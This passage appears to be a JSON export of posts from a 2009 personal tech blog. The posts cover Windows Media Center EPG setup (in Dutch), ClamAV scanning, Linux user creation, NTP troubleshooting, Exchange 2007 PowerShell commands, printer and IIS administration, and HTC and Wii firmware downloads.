gaan we Mediacenter een scan laten uitvoeren op alle beschikbare kanalen, als volgt:\n- Start mediacenter - Kies Instellingen \u0026gt; TV \u0026gt; Gids en doorloop de procedure. Vul ook je postcode in ! - Nadat de gegevens zijn gedownload selecteer je: “Analoge kabeltelevisie nog niet in kaart gebracht” - Nu gaat MCE een scan maken waarbij keurig de frequenties gescand worden die je in MCETuningOverrides.xml zijn vastgelegd.\nDit betekent dat de kanalen snel gevonden worden zonder dubbelingen. Als het goed is heeft MCE na de scan evenveel kanalen gevonden als jij in de xml file hebt vastgelegd. Is dit niet het geval, doe dan de scan gerust opnieuw. Ik heb het zelf 2x meegemaakt dat toch stomweg een zender geskipt werd, en voorts bij een tweede scan wel goed gevonden\u0026hellip;\nDe reden om bovenstaande procedure te volgen is de volgende: wanneer je in een eerdere situatie de EPG op de “normale” manier hebt gevonden worden slechts de gedownloadde kanalen opgeslagen in mediacenter. Als straks kanalen aan de gids toegekend gaan worden kan het voorkomen dat sommige gewenste kanalen niet in de EPG keuzelijst voorkomen. Door de handmatige scan te maken download MCE simpelweg alle beschikbare EPG kanalen die via Internet beschikbaar zijn (momenteel 47 stuks dd. 28-8-2006). Sla bovenstaande stappen dus niet over.\nKanalen handmatig aan de EPG toewijzen Dit deel spreekt redelijk voor zich, het is namelijk (alweer) standaard MCE functionaliteit.\nBij het scannen van de kanalen haalt MCE de zendernaam in beginsel uit de VITS lijnen (teletekst). Dit levert echter niet niet altijd de kloppende zendernaam op die EPG gebruikt. Nickelodeon en Talpa delen bijvoorbeeld een kanaal waardoor de gevonden naam per dagdeel verschillend is. De exact klopende zendernamen krijgen automatisch EPG informatie toegewezen zodat je er feitelijk niets aan hoeft te doen. Aan de afwijkende zendernamen moet je echter zelf EPG toekennen. Om te zorgen dat zoveel mogelijk kanalen nu van EPG gegevens voorzien zijn doe je het volgende:\n- Ga naar Instellingen \u0026gt; Tv \u0026gt; Gids \u0026gt; Gegevens aan een kanaal toevoegen - Selecteer het eerste kanaal en druk op de OK of enter toets. - Als op de eerste regel staat:”geen gegevens voor dit kanaal weergeven” scrol je naar beneden, net zolang tot je de bijbehorende EPG kanaalnaam gevonden hebt. - Indien op de eerste regel gewoon de kloppende zendernaam staat hoef je voor dat betreffende kanaal niets te doen omdat hij al door de EPG herkend is. - Deze handeling voer je voor alle zenders uit. - Vergeet niet om aan het einde “opslaan” te kiezen, anders kan je opnieuw beginnen\u0026hellip;\nNiet herkende kanalen manueel een naam geven Soms worden kanalen helemaal niet herkend, en krijgen ze de naam “onbekend” of iets gelijkwaardigs mee. Dit geldt bijvoorbeeld vaak voor lokale TV zenders, infokanalen, tekstkranten etc. Als dit je niets uitmaakt hoef je niets te doen. Wanneer je aan deze zenders echter toch een kloppende naam wil geven, doe dan het volgende:\n- Ga naar: Instellingen \u0026gt; Gids \u0026gt; Ontbrekende kanalen toevoegen \u0026gt; Kanaal toevoegen - Geef een onbenoemd kanaal nu de gewenste naam en kies volgende - Vul nu bij kanaalnummer het nummer in dat je ingevuld hebt op je uitgeprintte frequentielijst! - Herhaal deze procedure voor alle niet benoemde kanalen - Kies als je klaar bent “gereed”, anders kan je opnieuw beginnen - Ga nu naar instellingen \u0026gt; TV \u0026gt; Gids \u0026gt; Kanalen bewerken - Haal nu het vinkje weg voor alle onbenoemde kanalen zodat ze uit je werkelijke zenderoverzicht verdwijnen.\nOp deze wijze hebben alle niet automatisch herkende kanalen keurig een gewenste naam.\nKanaalvolgorde naar wens indelen We zijn bijna klaar. Als alles hierboven goed gegaan is heb je nu het hele pakket aan zenders in je MCE geprogrammeerd en is waar mogelijk de juiste EPG informatie toegevoegd. Het kan nu zijn dat enkele zenders niet op gewenste volgorde staan, ondanks het feit dat je ze wel op de gewenste volgorde hebt geprogrammeerd in MCETuningOverrides.xml. Dit komt doordat MCE een frequentiescan uitvoert, en geen kanaalscan. Het spreekt voor zich hoe je de kanaalvolgorde moet wijzigen.\nJust in case: Instellingen \u0026gt; TV \u0026gt; Gids \u0026gt; Kanaalvolgorde wijzigen\nTenslotte Inderdaad, het is veel werk als je het helemaal perfect wil maken. In mijn geval was het de oplossing voor alles en is het relatief eenvoudig aan te passen indien je kabel leverancier mocht besluiten e.e.a. om te gooien of een kanaaltje toe te voegen. Je hoeft in ieder geval niet langer te wachten op een eventuele update van BDE (de instantie die verantwoordelijk is voor de updates van de gids).\nDelen van de bovenstaande beschrijving zijn niet nieuw, maar gebaseerd op informatie die op diverse fora te vinden was. Alhoewel je met bovenstaande beschrijving nauwelijks iets kan verknoeien is het gebruik ervan op eigen risico. Vragen en tips zijn van harte welkom (info@pa1okz.com)\nVeel succes !\nSource: http://www.degroeneknop.nl/forum/index.php?PHPSESSID=54c270f695e599a2f822884d0b1638cc\u0026amp;/topic,2619.0.html\n","permalink":"https://blog.wapnet.nl/2009/09/tv-kanalen-epg-zelf-configureren-dutch/","summary":"\u003cp\u003e\u003cstrong\u003eTV kanalen + EPG zelf configureren\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eIn de oorspronkelijke opzet van de EPG functie in MCE2005 heeft men het doel gehad de kanalen setup en programmagids in Mediacenter op (voor de gebruiker) zeer eenvoudige manier in te kunnen stellen: Simpelweg je postcode kiezen, je signaalbron instellen, info binnenhalen en klaar is kees, tenminste\u0026hellip; dat was de bedoeling\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProbleemstelling\u003c/strong\u003e\nOp vele fora lees je verschillende problemen die oorsprong vinden in het niet up-to-date zijn van de zenderinformatie die aan je postcode verbonden is. Dit (kan) resulteren in zeer irritante verschijnselen zoals het niet corresponderen van kanalen met de EPG, ontbrekende kanalen etc.\u003c/p\u003e","title":"TV kanalen + EPG zelf configureren (Dutch)"},{"content":"1. Install Clamav with your favorite packet manager\n#apt-get install clamav\n2. Update ClamAV Database\n#freshclam\n3. Scan your server and only list infected files\n#clamscan / -r -i\n","permalink":"https://blog.wapnet.nl/2009/09/short-clamav-howto/","summary":"\u003cp\u003e1. Install Clamav with your favorite packet manager\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e#apt-get install clamav\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e2. Update ClamAV Database\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e#freshclam\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e3. Scan your server and only list infected files\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e#clamscan / -r -i\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Short ClamAV Howto"},{"content":"Read user groups\nid username\nAdd user\nuseradd -G group1 -G group2 new-user\nSet password\npasswd new-user\n","permalink":"https://blog.wapnet.nl/2009/08/linux-duplicate-or-add-user/","summary":"\u003cp\u003eRead user groups\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eid username\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eAdd user\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003euseradd -G group1 -G group2 new-user\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eSet password\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003epasswd new-user\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Linux duplicate or add user"},{"content":"Try:\nMini 10 @ http://stashbox.org/v/574866/flashBIOSv1.exe\nMini 9 @ http://stashbox.org/v/556752/flashBIOSv1.51.exe\n","permalink":"https://blog.wapnet.nl/2009/08/bios-upate-dell-mini-9-or-10-without-windows-xp/","summary":"\u003cp\u003eTry:\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Mini 9 Flashing Utility\" loading=\"lazy\" src=\"http://farm3.static.flickr.com/2470/3535232460_e194929a51.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eMini 10 @ \u003ca href=\"http://stashbox.org/v/574866/flashBIOSv1.exe\"\u003ehttp://stashbox.org/v/574866/flashBIOSv1.exe\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eMini 9 @ \u003ca href=\"http://stashbox.org/v/556752/flashBIOSv1.51.exe\"\u003ehttp://stashbox.org/v/556752/flashBIOSv1.51.exe\u003c/a\u003e\u003c/p\u003e","title":"BIOS Upate Dell Mini 9 or 10 without Windows XP"},{"content":"What you need\n- PeToUSB - Copy of Windows XP - 1GB USB flash\n1: Put your Windows disc in your drive. 2: Insert your USB flash. 3: Load PeToUSB 4: Configure it with your sources and destination like this\n5: Click start 6: Once it\u0026rsquo;s finished remove the USB flash and insert it into your EEE PC. Set the BIOS to boot from the USB flash. 7: Watch it install!\nPs. @ Windows7 you must manually format the stick to FAT32 and run the software as aministrator\nSource: http://netbooks.modaco.com/content/msi/261632/installing-xp-via-a-usb-stick/\n","permalink":"https://blog.wapnet.nl/2009/08/install-xp-from-usb-easy-setup/","summary":"\u003cp\u003e\u003cstrong\u003eWhat you need\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e- \u003ca href=\"http://gocoding.com/page.php?al=petousb\"\u003ePeToUSB\u003c/a\u003e\n- Copy of \u003ca href=\"http://netbooks.modaco.com/content/msi/261632/installing-xp-via-a-usb-stick/#\"\u003eWindows XP\u003c/a\u003e\n- 1GB USB flash\u003c/p\u003e\n\u003cp\u003e1: Put your \u003ca href=\"http://netbooks.modaco.com/content/msi/261632/installing-xp-via-a-usb-stick/#\"\u003eWindows\u003c/a\u003e disc in your drive.\n2: Insert your USB flash.\n3: Load PeToUSB\n4: Configure it with your sources and destination like this\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://content.modaco.net/pe2usb.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e5: Click start\n6: Once it\u0026rsquo;s finished remove the USB flash and insert it into your EEE PC. \u003cem\u003eSet the BIOS to boot from the USB flash.\u003c/em\u003e\n\u003cem\u003e7:\u003c/em\u003e Watch it install!\u003c/p\u003e\n\u003cp\u003ePs. @ Windows7 you must manually format the stick to FAT32 and run the software as aministrator\u003c/p\u003e","title":"Install XP from USB (easy setup)"},{"content":"Download and Install The NTP Package Most RedHat and Fedora Linux software products are available in the RPM format. Downloading and installing RPMs isn\u0026rsquo;t hard. If you need a refresher, Chapter 6, \u0026ldquo;Installing Linux Software\u0026rdquo;, has all the details.\nWhen searching for the file, remember that the NTP RPM\u0026rsquo;s filename usually starts with the word ntp followed by a version number as in ntp-4.1.2-5.i386.rpm.\nThe /etc/ntp.conf File The /etc/ntp.conf file is the main configuration file for Linux NTP in which you place the IP addresses of the stratum 1 and stratum 2 servers you want to use. Here are the steps to create a configuration file using a pair of sample Internet-based NTP servers:\nFirst we specify the servers you\u0026rsquo;re interested in: server otherntp.server.org # A stratum 1 server at server.org server ntp.research.gov # A stratum 2 server at research.gov Restrict the type of access you allow these servers. In this example the servers are not allowed to modify the run-time configuration or query your Linux NTP server. restrict otherntp.server.org mask 255.255.255.255 nomodify notrap noquery restrict ntp.research.gov mask 255.255.255.255 nomodify notrap noquery The mask 255.255.255.255 statement is really a subnet mask limiting access to the single IP address of the remote NTP servers.\nIf this server is also going to provide time for other computers, such as PCs, other Linux servers and networking devices, then you\u0026rsquo;ll have to define the networks from which this server will accept NTP synchronization requests. You do so with a modified restrict statement removing the noquery keyword to allow the network to query your NTP server. The syntax is: restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap In this case the mask statement has been expanded to include all 255 possible IP addresses on the local network.\nWe also want to make sure that localhost (the universal IP address used to refer to a Linux server itself) has full access without any restricting keywords: restrict 127.0.0.1 Save the file and restart NTP for these settings to take effect. You can now configure other Linux hosts on your network to synchronize with this new master NTP server in a similar fashion. How To Get NTP Started You have to restart the NTP process every time you make a change to the configuration file for the changes to take effect on the running process.\nTo get NTP configured to start at boot, use the line:\n[root@bigboy tmp]# chkconfig ntpd on To start, stop and restart NTP after booting, follow these examples:\n[root@bigboy tmp]# service ntpd start [root@bigboy tmp]# service ntpd stop [root@bigboy tmp]# service ntpd restart Testing And Troubleshooting NTP\nAfter configuring and starting NTP, you should test it to make sure it is working. Here are some guidelines you can follow to get NTP working correctly.\nVerifying NTP is Running To test whether the NTP process is running use the command\n[root@bigboy tmp]# pgrep ntpd You should get a response of plain old process ID numbers.\nDoing An Initial Synchronization If the time on the local server is very different from that of its primary time server your NTP daemon will eventually terminate itself leaving an error message in the /var/log/messages file. You should run the ntpdate -u command to force your server to become instantly synchronized with its NTP servers before starting the NTP daemon for the first time. The ntpdate command doesn\u0026rsquo;t run continuously in the background, you will still have to run the ntpd daemon to get continuous NTP updates.\nTake a look at some sample output of the ntpdate command in which a server whose initial time was set to midnight, was correctly set to 8:03 am.\nThe date was originally set to midnight which was verified by using the date command. [root@smallfry tmp]# date Thu Aug 12 00:00:00 PDT 2004 [root@smallfry tmp]# The ntpdate command is run three times to synchronize smallfry\u0026rsquo;s clock to server 192.168.1.100, but it must be run while the ntpd process is stopped. So you\u0026rsquo;ll have to stop ntpd, run ntpdate and then start ntpd again. [root@smallfry tmp]# service ntpd stop [root@smallfry tmp]# ntpdate -u 192.168.1.100 Looking for host 192.168.1.100 and service ntp host found : bigboy.my-site.com 12 Aug 08:03:38 ntpdate[2472]: step time server 192.168.1.100 offset 28993.084943 sec [root@smallfry tmp]# ntpdate -u 192.168.1.100 Looking for host 192.168.1.100 and service ntp host found : bigboy.my-site.com 12 Aug 08:03:40 ntpdate[2472]: step time server 192.168.1.100 offset 2.467652 sec [root@smallfry tmp]# ntpdate -u 192.168.1.100 Looking for host 192.168.1.100 and service ntp host found : bigboy.my-site.com 12 Aug 08:03:42 ntpdate[2472]: step time server 192.168.1.100 offset 0.084943 sec [root@smallfry tmp]# service ntpd start [root@smallfry tmp]# The date is now corrected. [root@smallfry tmp]# date Thu Aug 12 08:03:45 PDT 2004 [root@smallfry tmp]# Determining If NTP Is Synchronized Properly Use the ntpq command to see the servers with which you are synchronized. It provided you with a list of configured time servers and the delay, offset and jitter that your server is experiencing with them. For correct synchronization, the delay and offset values should be non-zero and the jitter value should be under 100.\n[root@bigboy tmp]# ntpq -p Here is some sample output of the command:\nremote refid st t when poll reach delay offset jitter ============================================================================== -jj.cs.umb.edu gandalf.sigmaso 3 u 95 1024 377 31.681 -18.549 1.572 milo.mcs.anl.go ntp0.mcs.anl.go 2 u 818 1024 125 41.993 -15.264 1.392 -mailer1.psc.edu ntp1.usno.navy. 2 u 972 1024 377 38.206 19.589 28.028 -dr-zaius.cs.wis ben.cs.wisc.edu 2 u 502 1024 357 55.098 3.979 0.333 +taylor.cs.wisc. ben.cs.wisc.edu 2 u 454 1024 347 54.127 3.379 0.047 -ntp0.cis.strath harris.cc.strat 3 u 507 1024 377 115.274 -5.025 1.642 *clock.via.net .GPS. 1 u 426 1024 377 107.424 -3.018 2.534 ntp1.conectiv.c 0.0.0.0 16 u - 1024 0 0.000 0.000 4000.00 Your Linux NTP clients cannot Synchronize Properly A telltale sign that you haven\u0026rsquo;t got proper synchronization is when all the remote servers have jitter, delay and reach values of 0. In some older versions of Fedora, the jitter values will be 4000.\nremote refid st t when poll reach delay offset jitter ============================================================================= LOCAL(0) LOCAL(0) 10 l - 64 7 0.000 0.000 0.008 ntp-cup.externa 0.0.0.0 16 u - 64 0 0.000 0.000 0.000 snvl-smtp1.trim 0.0.0.0 16 u - 64 0 0.000 0.000 0.000 nist1.aol-ca.tr 0.0.0.0 16 u - 64 0 0.000 0.000 0.000 This could be caused by the following:\nOlder versions of the NTP package that don\u0026rsquo;t work correctly if you use the DNS name for the NTP servers. In these cases you will want to use the actual IP addresses instead. A firewall blocking access to your Stratum 1 and 2 NTP servers. This could be located on one of the networks between the NTP server and its time source, or firewall software such as iptables could be running on the server itself. The notrust nomodify notrap keywords are present in the restrict statement for the NTP client. In some versions of the Fedora Core 2\u0026rsquo;s implementation of NTP, clients will not be able to synchronize with a Fedora Core 2 time server unless the notrust nomodify notrap keywords are removed from the NTP client\u0026rsquo;s restrict statement. In this example the restrict statement has only the client network defined without any keywords and the configuration line that works with other NTP versions has been commented out:\n# -- CLIENT NETWORK ------- #restrict 172.16.1.0 mask 255.255.255.0 notrust nomodify notrap restrict 172.16.1.0 mask 255.255.255.0 ","permalink":"https://blog.wapnet.nl/2009/08/ntp-troubleshooting/","summary":"\u003ch1 id=\"download-and-install-the-ntp-package\"\u003eDownload and Install The NTP Package\u003c/h1\u003e\n\u003cp\u003eMost RedHat and Fedora Linux software products are available in the RPM format. Downloading and installing RPMs isn\u0026rsquo;t hard. If you need a refresher, Chapter 6, \u0026ldquo;\u003ca href=\"/wiki/index.php/Quick_HOWTO_:_Ch06_:_Installing_Linux_Software\" title=\"Quick HOWTO : Ch06 : Installing Linux Software\"\u003eInstalling Linux Software\u003c/a\u003e\u0026rdquo;, has all the details.\u003c/p\u003e\n\u003cp\u003eWhen searching for the file, remember that the NTP RPM\u0026rsquo;s filename usually starts with the word ntp followed by a version number as in ntp-4.1.2-5.i386.rpm.\u003c/p\u003e","title":"NTP Troubleshooting"},{"content":"In an earlier article I wrote how to flash the S710 to a nice 6.1 Windows Mobile rom. Now the 6.5 version is out a German guy with the name frauhottelmann wrote a article on XDA Developers to flash your VOX to 6.5.\nBelow you can find the 6.5 version. (All the credits goes to frauhottelmann)\nDownload 6.5 ROM by frauhottelmann Two comments below told me that they cannot flash the ROM . So I search for the lastest version on XDA and mirror it on my blog. Here you can download the latest [ROM] WM 6.5 \u0026ldquo;Official\u0026rdquo; v1.0 [XIP/SYS 21854] (All the credits goes to frauhottelmann)\nHappy flashing! :)\n","permalink":"https://blog.wapnet.nl/2009/07/flash-your-htc-s710-vox-to-65/","summary":"\u003cp\u003eIn an \u003ca href=\"/?p=179\"\u003eearlier article\u003c/a\u003e I wrote how to flash the S710 to a nice 6.1 Windows Mobile rom. Now the 6.5 version is out a German guy with the name frauhottelmann wrote a \u003ca href=\"http://forum.xda-developers.com/showthread.php?t=524096\"\u003earticle\u003c/a\u003e on XDA Developers to flash your VOX to 6.5.\u003c/p\u003e\n\u003cp\u003eBelow you can find the 6.5 version. (All the credits goes to frauhottelmann)\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/upload/65v11.exe\"\u003eDownload 6.5 ROM by frauhottelmann\u003c/a\u003e Two comments below told me that they cannot flash the ROM . So I search for the lastest version on XDA and mirror it on my blog. \u003cstrong\u003eHere you can download the latest\u003c/strong\u003e \u003ca href=\"/upload/65officialv10.exe\"\u003e[ROM] WM 6.5 \u0026ldquo;Official\u0026rdquo; v1.0 [XIP/SYS 21854]\u003c/a\u003e (All the credits goes to \u003ca href=\"http://forum.xda-developers.com/showthread.php?t=583323\"\u003efrauhottelmann\u003c/a\u003e)\u003c/p\u003e","title":"Flash your HTC S710 (VOX) to Windows Mobile 6.5"},{"content":"Remove a public folder database Remove-PublicFolderDatabase -Identity \u0026quot;\\\\ \u0026quot; Change the Default Public Folder Database for a Mailbox Database Set-MailboxDatabase -Identity \u0026quot;Mailbox Database\u0026quot; -PublicFolderDatabase \u0026quot;PublicFolderDB1\u0026quot; Move all public folder replica\u0026rsquo;s MoveAllReplicas.ps1 –Server Server1 –NewServer Server2 Set Postmaster Address Set-TransportServer -ExternalPostmasterAddress Upgrade Email Address Policy Set-EmailAddressPolicy \u0026quot;Default Policy\u0026quot; -IncludedRecipients AllRecipients View Public Folder Client Permissions Get-PublicFolderClientPermission -Identity \u0026quot;\\Marketing\u0026quot; | fl Change Autodisover website settings Set-AutodiscoverVirtualDirectory \u0026quot;servername\\Autodiscover (Default Web Site)\u0026quot; -InternalUrl http://server.domain.com -ExternalUrl https://autodiscover.mydomain.com Create a new certificate New-ExchangeCertificate -DomainName \u0026quot;external.maildomain.com\u0026quot; Enable certificate Enable-ExchangeCertificate \u0026quot;the number you get from the certificates once it is generated\u0026quot; with out the quotes Give a user access to a Top Public Folder and all sub folders AddUsersToPFRecursive.ps1 -TopPublicFolder \u0026quot;\\Sales\u0026quot; -User \u0026quot;David\u0026quot; -Permission Reviewer Give a user access to a Public Folder Add-PublicFolderClientPermission -Identity \u0026quot;\\Marketing\\West Coast\u0026quot; -AccessRights PublishingEditor -User Kim Replace the permissions of a user with new permissions ReplaceUserPermissionOnPFRecursive.ps1 -Server \u0026quot;SERVER01\u0026quot; -TopPublicFolder \u0026quot;\\Marketing\u0026quot; -User \u0026quot;Kim\u0026quot; -Permissions PublishingEditor Replace the permissions of a user with new a new user on all sub folders ReplaceUserWithUserOnPFRecursive.ps1 -TopPublicFolder \u0026quot;\\Sales\u0026quot; -UserOld \u0026quot;David\u0026quot; -UserNew \u0026quot;Kim\u0026quot; Remove the permissions of a user on a folder and all sub folders RemoveUserFromPFRecursive.ps1 -Server \u0026quot;SERVER01\u0026quot; -TopPublicFolder -\u0026quot;\\Sales\\Oregon\u0026quot; -User \u0026quot;David\u0026quot; Remove the permissions of a user from a Public Folder Remove-PublicFolderClientPermission -Identity \u0026quot;Sales\\West Coast\\Oregon\u0026quot; -User David -AccessRights CreateItems Mail enable Public Folder Enable-MailPublicFolder -Identity \u0026quot;\\My Public Folder\u0026quot; Force Edge server synchronisation Run the following command on the Transport server Start-EdgeSynchronization Remove forwarding address with PowerShell - All users Get-Mailbox | Where {$_.ForwardingAddress -ne $null} | Set-Mailbox -ForwardingAddress $null -DeliverToMailboxAndForward $false Set Mailforwarder on a mailbox Set-Mailbox -Identity John -DeliverToMailboxAndForward $true -ForwardingAddress jose@contoso.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it ","permalink":"https://blog.wapnet.nl/2009/05/microsoft-exchange-2007-powershell-commands/","summary":"\u003cp\u003e\u003cstrong\u003eRemove a public folder database\u003c/strong\u003e \u003ccode\u003eRemove-PublicFolderDatabase -Identity \u0026quot;\\\\ \u0026quot;\u003c/code\u003e \u003cstrong\u003eChange the Default Public Folder Database for a Mailbox Database\u003c/strong\u003e \u003ccode\u003eSet-MailboxDatabase -Identity \u0026quot;Mailbox Database\u0026quot; -PublicFolderDatabase \u0026quot;PublicFolderDB1\u0026quot;\u003c/code\u003e \u003cstrong\u003eMove all public folder replica\u0026rsquo;s\u003c/strong\u003e \u003ccode\u003eMoveAllReplicas.ps1 –Server Server1 –NewServer Server2 \u003c/code\u003e \u003cstrong\u003eSet Postmaster Address\u003c/strong\u003e \u003ccode\u003eSet-TransportServer -ExternalPostmasterAddress \u003c/code\u003e \u003cstrong\u003eUpgrade Email Address Policy\u003c/strong\u003e \u003ccode\u003eSet-EmailAddressPolicy \u0026quot;Default Policy\u0026quot; -IncludedRecipients AllRecipients\u003c/code\u003e \u003cstrong\u003eView Public Folder Client Permissions\u003c/strong\u003e \u003ccode\u003eGet-PublicFolderClientPermission -Identity \u0026quot;\\Marketing\u0026quot; | fl \u003c/code\u003e \u003cstrong\u003eChange Autodisover website settings\u003c/strong\u003e \u003ccode\u003eSet-AutodiscoverVirtualDirectory \u0026quot;servername\\Autodiscover (Default Web Site)\u0026quot; -InternalUrl http://server.domain.com -ExternalUrl https://autodiscover.mydomain.com\u003c/code\u003e \u003cstrong\u003eCreate a new certificate\u003c/strong\u003e \u003ccode\u003eNew-ExchangeCertificate -DomainName \u0026quot;external.maildomain.com\u0026quot;\u003c/code\u003e \u003cstrong\u003eEnable certificate\u003c/strong\u003e \u003ccode\u003eEnable-ExchangeCertificate \u0026quot;the number you get from the certificates once it is generated\u0026quot; with out the quotes\u003c/code\u003e \u003cstrong\u003eGive a user access to a Top Public Folder and all sub folders\u003c/strong\u003e \u003ccode\u003eAddUsersToPFRecursive.ps1 -TopPublicFolder \u0026quot;\\Sales\u0026quot; -User \u0026quot;David\u0026quot; -Permission Reviewer\u003c/code\u003e \u003cstrong\u003eGive a user access to a Public Folder\u003c/strong\u003e \u003ccode\u003eAdd-PublicFolderClientPermission -Identity \u0026quot;\\Marketing\\West Coast\u0026quot; -AccessRights PublishingEditor -User Kim\u003c/code\u003e \u003cstrong\u003eReplace the permissions of a user with new permissions\u003c/strong\u003e \u003ccode\u003eReplaceUserPermissionOnPFRecursive.ps1 -Server \u0026quot;SERVER01\u0026quot; -TopPublicFolder \u0026quot;\\Marketing\u0026quot; -User \u0026quot;Kim\u0026quot; -Permissions PublishingEditor\u003c/code\u003e \u003cstrong\u003eReplace the permissions of a user with new a new user on all sub folders\u003c/strong\u003e \u003ccode\u003eReplaceUserWithUserOnPFRecursive.ps1 -TopPublicFolder \u0026quot;\\Sales\u0026quot; -UserOld \u0026quot;David\u0026quot; -UserNew \u0026quot;Kim\u0026quot;\u003c/code\u003e \u003cstrong\u003eRemove the permissions of a user on a folder and all sub folders\u003c/strong\u003e \u003ccode\u003eRemoveUserFromPFRecursive.ps1 -Server \u0026quot;SERVER01\u0026quot; -TopPublicFolder -\u0026quot;\\Sales\\Oregon\u0026quot; -User \u0026quot;David\u0026quot;\u003c/code\u003e \u003cstrong\u003eRemove the permissions of a user from a Public Folder\u003c/strong\u003e \u003ccode\u003eRemove-PublicFolderClientPermission -Identity \u0026quot;Sales\\West Coast\\Oregon\u0026quot; -User David -AccessRights CreateItems\u003c/code\u003e \u003cstrong\u003eMail enable Public Folder\u003c/strong\u003e \u003ccode\u003eEnable-MailPublicFolder -Identity \u0026quot;\\My Public Folder\u0026quot;\u003c/code\u003e \u003cstrong\u003eForce Edge server synchronisation\u003c/strong\u003e\nRun the following command on the Transport server\n\u003ccode\u003eStart-EdgeSynchronization\u003c/code\u003e \u003cstrong\u003eRemove forwarding address with PowerShell - All users\u003c/strong\u003e \u003ccode\u003eGet-Mailbox | Where {$_.ForwardingAddress -ne $null} | Set-Mailbox -ForwardingAddress $null -DeliverToMailboxAndForward $false\u003c/code\u003e \u003cstrong\u003eSet Mailforwarder on a mailbox\u003c/strong\u003e \u003ccode\u003eSet-Mailbox -Identity John -DeliverToMailboxAndForward $true -ForwardingAddress jose@contoso.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it \u003c/code\u003e\u003c/p\u003e","title":"Microsoft Exchange 2007 Powershell Commands"},{"content":"First create a port: cscript %windir%\\system32\\prnport.vbs -a -s localhost -r IP_10.31.32.100 -h 10.31.32.100 -o raw -n 9100\nThen create a printer: rundll32 printui.dll,PrintUIEntry /if /b \u0026quot;Some Printer Name\u0026quot; /f C:\\DEV\\pcl5e_5c\\P52KHAL.inf /r \u0026quot;IP_10.31.32.100\u0026quot; /m \u0026quot;Canon iR 3100C EUR PCL5c\u0026quot;\nFor more info try the /? commands\n","permalink":"https://blog.wapnet.nl/2009/05/howto-automaticly-install-printer-and-printer-port/","summary":"\u003cp\u003eFirst create a port:\n\u003ccode\u003ecscript %windir%\\system32\\prnport.vbs -a -s localhost -r IP_10.31.32.100 -h 10.31.32.100 -o raw -n 9100\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThen create a printer:\n\u003ccode\u003erundll32 printui.dll,PrintUIEntry /if /b \u0026quot;Some Printer Name\u0026quot; /f C:\\DEV\\pcl5e_5c\\P52KHAL.inf /r \u0026quot;IP_10.31.32.100\u0026quot; /m \u0026quot;Canon iR 3100C EUR PCL5c\u0026quot;\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eFor more info try the /? commands\u003c/p\u003e","title":"Howto: Automaticly install printer and printer port"},{"content":"You can upgrade your HTC S710 with a nice rom created by: Dr. Martin Gonzo\u0026rsquo;s\nHere your can download my package (include all T9 language files) VOX-Firmware\nScreenshots:\n","permalink":"https://blog.wapnet.nl/2009/04/flash-your-htc-s710-vox/","summary":"\u003cp\u003eYou can upgrade your HTC S710 with a nice rom created by: \u003ca href=\"http://forum.xda-developers.com/showthread.php?t=419995\"\u003eDr. Martin Gonzo\u0026rsquo;s\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHere your can download my package (include all T9 language files) \u003ca href=\"/upload/HTCS710-MonaLisa-61.zip\"\u003eVOX-Firmware\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eScreenshots:\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"mona-lisa\" loading=\"lazy\" src=\"/wp-content/uploads/2009/04/mona-lisa.png\"\u003e\u003c/p\u003e","title":"Flash your HTC S710 (VOX)"},{"content":" Give a IISRESET /STOP Browse to C:\\Windows\\System32\\Inetsrv\\ Rename the Histroy folder to History.old Rename the metabase.xml to metabase.xml.old Rename the mbschema.xml to mbschema.xml.old Place the following files from the backup: metabase.xml, mbschema.xml \u0026amp; Histrory to the C:\\Windows\\System32\\Inetsrv\\ folder Giva a IISRESET /START ","permalink":"https://blog.wapnet.nl/2009/03/restore-iis-from-backup/","summary":"\u003cul\u003e\n\u003cli\u003eGive a IISRESET /STOP\u003c/li\u003e\n\u003cli\u003eBrowse to C:\\Windows\\System32\\Inetsrv\\\u003c/li\u003e\n\u003cli\u003eRename the Histroy folder to History.old\u003c/li\u003e\n\u003cli\u003eRename the metabase.xml to metabase.xml.old\u003c/li\u003e\n\u003cli\u003eRename the mbschema.xml to mbschema.xml.old\u003c/li\u003e\n\u003cli\u003ePlace the following files from the backup: metabase.xml, mbschema.xml \u0026amp; Histrory to the C:\\Windows\\System32\\Inetsrv\\ folder\u003c/li\u003e\n\u003cli\u003eGiva a IISRESET /START\u003c/li\u003e\n\u003c/ul\u003e","title":"Restore IIS from backup"},{"content":"I have build my own gamma pack. You can download it [here](/upload/EoC Gamma Pack L0g0ff Edition.zip) (\u0026laquo;old)\nNew article you can read here: /?p=233\n","permalink":"https://blog.wapnet.nl/2009/02/softmod-your-wii-gamma-pack-l0g0ff-edition/","summary":"\u003cp\u003eI have build my own gamma pack. You can download it [here](/upload/EoC Gamma Pack L0g0ff Edition.zip) (\u0026laquo;old)\u003c/p\u003e\n\u003cp\u003eNew article you can read here: \u003ca 